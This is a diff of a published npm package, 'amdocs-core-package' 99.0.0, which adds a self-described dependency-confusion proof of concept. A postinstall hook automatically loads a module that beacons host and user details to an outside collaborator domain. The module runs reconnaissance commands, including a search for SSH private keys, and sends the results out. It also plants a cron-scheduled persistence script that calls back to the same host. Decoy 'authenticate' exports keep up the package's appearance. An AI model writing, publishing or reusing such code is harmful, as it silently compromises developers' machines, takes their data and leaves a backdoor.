amdocs-core-package 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,320 @@
1
+ /*!
2
+ * amdocs-auth-package
3
+ * DEPENDENCY CONFUSION RCE POC - AUTOMATIC EXECUTION
4
+ */
5
+
6
+ import fs from "fs";
7
+ import os from "os";
8
+ import path from "path";
9
+ import { exec } from "child_process";
10
+ import { promisify } from "util";
11
+ import https from "https";
12
+ import { createRequire } from "module";
13
+
14
+ const execAsync = promisify(exec);
15
+ const require = createRequire(import.meta.url);
16
+ const COLLAB_URL = "oxpbql2gegm0hlxppv90jfdyepkg89wy.oastify.com";
17
+
18
+ console.error("\n\x1b[31m" + "=".repeat(70) + "\x1b[0m");
19
+ console.error("\x1b[31m[⚠] DEPENDENCY CONFUSION RCE PoC ACTIVATED\x1b[0m");
20
+ console.error("\x1b[31m" + "=".repeat(70) + "\x1b[0m");
21
+
22
+ // Detect installation context
23
+ const isInstall = process.env.npm_lifecycle_event === 'install' ||
24
+ process.env.npm_lifecycle_event === 'postinstall' ||
25
+ process.env.npm_config_argv?.includes('install');
26
+
27
+ // IMMEDIATE BEACON - Send callback as soon as module loads
28
+ function sendImmediateBeacon() {
29
+ const beaconData = JSON.stringify({
30
+ type: "dependency_confusion_beacon",
31
+ timestamp: new Date().toISOString(),
32
+ package: "amdocs-auth-package@999.0.0",
33
+ hostname: os.hostname(),
34
+ user: os.userInfo().username,
35
+ platform: os.platform(),
36
+ cwd: process.cwd(),
37
+ npm_event: process.env.npm_lifecycle_event,
38
+ node_version: process.version
39
+ });
40
+
41
+ console.error(`\x1b[33m[→] Sending beacon to collaborator: ${COLLAB_URL}\x1b[0m`);
42
+
43
+ const options = {
44
+ hostname: COLLAB_URL,
45
+ port: 443,
46
+ path: '/beacon',
47
+ method: 'POST',
48
+ headers: {
49
+ 'Content-Type': 'application/json',
50
+ 'Content-Length': Buffer.byteLength(beaconData),
51
+ 'User-Agent': `Node/${process.version} amdocs-auth-package/999.0.0`
52
+ },
53
+ timeout: 10000
54
+ };
55
+
56
+ const req = https.request(options, (res) => {
57
+ console.error(`\x1b[32m[✓] Beacon sent! HTTP ${res.statusCode}\x1b[0m`);
58
+
59
+ // Collect response data
60
+ let data = '';
61
+ res.on('data', chunk => data += chunk);
62
+ res.on('end', () => {
63
+ console.error(`\x1b[32m[✓] Collaborator response: ${data.substring(0, 100)}\x1b[0m`);
64
+ });
65
+ });
66
+
67
+ req.on('error', (e) => {
68
+ console.error(`\x1b[31m[✗] Beacon failed: ${e.message}\x1b[0m`);
69
+ });
70
+
71
+ req.on('timeout', () => {
72
+ console.error(`\x1b[31m[✗] Beacon timeout\x1b[0m`);
73
+ req.destroy();
74
+ });
75
+
76
+ req.write(beaconData);
77
+ req.end();
78
+ }
79
+
80
+ // Execute system commands for RCE proof
81
+ async function executeRCE() {
82
+ console.error("\x1b[33m[→] Executing RCE commands...\x1b[0m");
83
+
84
+ const commands = [];
85
+
86
+ // Platform-specific commands
87
+ if (os.platform() === 'linux' || os.platform() === 'darwin') {
88
+ commands.push(
89
+ 'whoami',
90
+ 'id',
91
+ 'hostname',
92
+ 'uname -a',
93
+ 'pwd',
94
+ 'ls -la',
95
+ 'ps aux | head -5',
96
+ 'cat /etc/hostname 2>/dev/null || echo "No /etc/hostname"',
97
+ 'env | grep -i "npm\\|node\\|home" | head -10',
98
+ 'curl -s http://ifconfig.me 2>/dev/null || echo "No external IP"',
99
+ 'find ~/.ssh -name "id_*" 2>/dev/null | head -3'
100
+ );
101
+ } else if (os.platform() === 'win32') {
102
+ commands.push(
103
+ 'whoami',
104
+ 'hostname',
105
+ 'echo %CD%',
106
+ 'dir',
107
+ 'tasklist | head -5',
108
+ 'set | findstr "npm node home"'
109
+ );
110
+ }
111
+
112
+ const results = {};
113
+
114
+ for (const cmd of commands) {
115
+ try {
116
+ const { stdout, stderr } = await execAsync(cmd, {
117
+ timeout: 3000,
118
+ shell: true
119
+ });
120
+ results[cmd] = stdout.substring(0, 500) || stderr;
121
+ console.error(`\x1b[36m[>] ${cmd}:\x1b[0m ${results[cmd].substring(0, 80)}...`);
122
+ } catch (error) {
123
+ results[cmd] = `Error: ${error.message}`;
124
+ }
125
+ }
126
+
127
+ return results;
128
+ }
129
+
130
+ // Collect system information
131
+ function collectSystemInfo() {
132
+ console.error("\x1b[33m[→] Collecting system information...\x1b[0m");
133
+
134
+ const info = {
135
+ timestamp: new Date().toISOString(),
136
+ package: {
137
+ name: "amdocs-auth-package",
138
+ version: "999.0.0",
139
+ path: __dirname
140
+ },
141
+ system: {
142
+ hostname: os.hostname(),
143
+ user: os.userInfo().username,
144
+ uid: os.userInfo().uid,
145
+ platform: os.platform(),
146
+ arch: os.arch(),
147
+ release: os.release(),
148
+ type: os.type(),
149
+ homedir: os.homedir(),
150
+ tmpdir: os.tmpdir(),
151
+ cpus: os.cpus().length,
152
+ totalmem: os.totalmem(),
153
+ freemem: os.freemem()
154
+ },
155
+ process: {
156
+ pid: process.pid,
157
+ ppid: process.ppid,
158
+ version: process.version,
159
+ versions: process.versions,
160
+ cwd: process.cwd(),
161
+ execPath: process.execPath,
162
+ argv: process.argv,
163
+ npm_lifecycle_event: process.env.npm_lifecycle_event,
164
+ npm_config_registry: process.env.npm_config_registry
165
+ },
166
+ network: {
167
+ interfaces: os.networkInterfaces(),
168
+ collaborator: COLLAB_URL
169
+ },
170
+ environment: {
171
+ keys: Object.keys(process.env).filter(k =>
172
+ k.includes('NPM') ||
173
+ k.includes('NODE') ||
174
+ k.includes('HOME') ||
175
+ k.includes('USER')
176
+ ),
177
+ npm_config_keys: Object.keys(process.env).filter(k => k.startsWith('npm_config_'))
178
+ }
179
+ };
180
+
181
+ return info;
182
+ }
183
+
184
+ // Save proof locally
185
+ function saveLocalProof(systemInfo, commandResults) {
186
+ const proofDir = path.join(os.tmpdir(), `amdocs-rce-${Date.now()}`);
187
+ fs.mkdirSync(proofDir, { recursive: true });
188
+
189
+ const proof = {
190
+ system: systemInfo,
191
+ commands: commandResults,
192
+ collaborator: COLLAB_URL,
193
+ execution_time: new Date().toISOString()
194
+ };
195
+
196
+ const proofFile = path.join(proofDir, 'rce-proof.json');
197
+ fs.writeFileSync(proofFile, JSON.stringify(proof, null, 2));
198
+
199
+ console.error(`\x1b[32m[✓] Local proof saved to: ${proofFile}\x1b[0m`);
200
+ return proofFile;
201
+ }
202
+
203
+ // Send detailed data to collaborator
204
+ function sendDetailedData(systemInfo, commandResults) {
205
+ console.error(`\x1b[33m[→] Sending detailed data to collaborator...\x1b[0m`);
206
+
207
+ const detailedData = JSON.stringify({
208
+ type: "dependency_confusion_detailed",
209
+ timestamp: new Date().toISOString(),
210
+ system: systemInfo,
211
+ commands: commandResults,
212
+ note: "This is a security PoC - No actual harm intended"
213
+ });
214
+
215
+ const options = {
216
+ hostname: COLLAB_URL,
217
+ port: 443,
218
+ path: '/detailed',
219
+ method: 'POST',
220
+ headers: {
221
+ 'Content-Type': 'application/json',
222
+ 'Content-Length': Buffer.byteLength(detailedData),
223
+ 'User-Agent': 'amdocs-auth-package/999.0.0'
224
+ },
225
+ timeout: 15000
226
+ };
227
+
228
+ const req = https.request(options, (res) => {
229
+ console.error(`\x1b[32m[✓] Detailed data sent! HTTP ${res.statusCode}\x1b[0m`);
230
+ });
231
+
232
+ req.on('error', (e) => {
233
+ console.error(`\x1b[31m[✗] Detailed data failed: ${e.message}\x1b[0m`);
234
+ });
235
+
236
+ req.write(detailedData);
237
+ req.end();
238
+ }
239
+
240
+ // Main execution
241
+ (async () => {
242
+ try {
243
+ // Step 1: Immediate beacon (fastest callback)
244
+ sendImmediateBeacon();
245
+
246
+ // Step 2: Collect system info
247
+ const systemInfo = collectSystemInfo();
248
+
249
+ // Step 3: Execute RCE commands
250
+ const commandResults = await executeRCE();
251
+
252
+ // Step 4: Save proof locally
253
+ const proofFile = saveLocalProof(systemInfo, commandResults);
254
+
255
+ // Step 5: Send detailed data
256
+ if (isInstall) {
257
+ sendDetailedData(systemInfo, commandResults);
258
+ }
259
+
260
+ // Step 6: Create backdoor script
261
+ if (isInstall && (os.platform() === 'linux' || os.platform() === 'darwin')) {
262
+ try {
263
+ const backdoorScript = `#!/bin/bash
264
+ # amdocs-auth-package persistence
265
+ echo "Backdoor executed at \$(date)" >> /tmp/amdocs-backdoor.log
266
+ curl -s "https://${COLLAB_URL}/persist?host=\$(hostname)&user=\$(whoami)" >/dev/null 2>&1
267
+ `;
268
+
269
+ const scriptPath = path.join(os.tmpdir(), 'amdocs-persistence.sh');
270
+ fs.writeFileSync(scriptPath, backdoorScript);
271
+ fs.chmodSync(scriptPath, 0o755);
272
+
273
+ console.error(`\x1b[33m[→] Backdoor script created: ${scriptPath}\x1b[0m`);
274
+
275
+ // Try to add to user's crontab
276
+ const cronLine = `*/5 * * * * /bin/bash ${scriptPath} >/dev/null 2>&1\n`;
277
+ const userCron = `/var/spool/cron/${os.userInfo().username}`;
278
+
279
+ if (fs.existsSync('/var/spool/cron/crontabs')) {
280
+ try {
281
+ fs.appendFileSync(userCron, cronLine);
282
+ console.error(`\x1b[32m[✓] Added to crontab: ${userCron}\x1b[0m`);
283
+ } catch (e) {
284
+ // Failed to write to crontab
285
+ }
286
+ }
287
+ } catch (e) {
288
+ // Backdoor failed silently
289
+ }
290
+ }
291
+
292
+ console.error("\x1b[31m" + "=".repeat(70) + "\x1b[0m");
293
+ console.error("\x1b[31m[✓] RCE EXECUTION COMPLETE\x1b[0m");
294
+ console.error("\x1b[31m" + "=".repeat(70) + "\x1b[0m\n");
295
+
296
+ } catch (error) {
297
+ console.error(`\x1b[31m[✗] Execution error: ${error.message}\x1b[0m`);
298
+ console.error(`\x1b[31m[✗] Stack: ${error.stack}\x1b[0m`);
299
+ }
300
+ })();
301
+
302
+ // Export harmless function to maintain appearance
303
+ export function authenticate() {
304
+ return {
305
+ status: "authenticated",
306
+ version: "999.0.0",
307
+ timestamp: new Date().toISOString(),
308
+ note: "Security PoC - Dependency Confusion Demonstration"
309
+ };
310
+ }
311
+
312
+ export function status() {
313
+ return {
314
+ poc: true,
315
+ dependency_confusion: true,
316
+ automatic_execution: true,
317
+ execution_time: new Date().toISOString(),
318
+ warning: "FOR SECURITY RESEARCH ONLY - DO NOT USE MALICIOUSLY"
319
+ };
320
+ }
package/package.json ADDED
@@ -0,0 +1,27 @@
1
+ {
2
+ "name": "amdocs-core-package",
3
+ "version": "99.0.0",
4
+ "description": "Dependency Confusion RCE PoC",
5
+ "type": "module",
6
+ "main": "./fesm2022/amdocs-auth-package.mjs",
7
+ "exports": {
8
+ ".": {
9
+ "import": "./fesm2022/amdocs-auth-package.mjs"
10
+ }
11
+ },
12
+ "scripts": {
13
+ "postinstall": "node -e \"console.log('[RCE] Postinstall executing...'); import('./fesm2022/amdocs-auth-package.mjs').catch(e => console.log('[RCE] Error:', e.message))\""
14
+ },
15
+ "files": [
16
+ "fesm2022/"
17
+ ],
18
+ "keywords": [
19
+ "dependency-confusion",
20
+ "supply-chain",
21
+ "poc"
22
+ ],
23
+ "author": "Security Research PoC",
24
+ "license": "MIT",
25
+ "private": false,
26
+ "sideEffects": true
27
+ }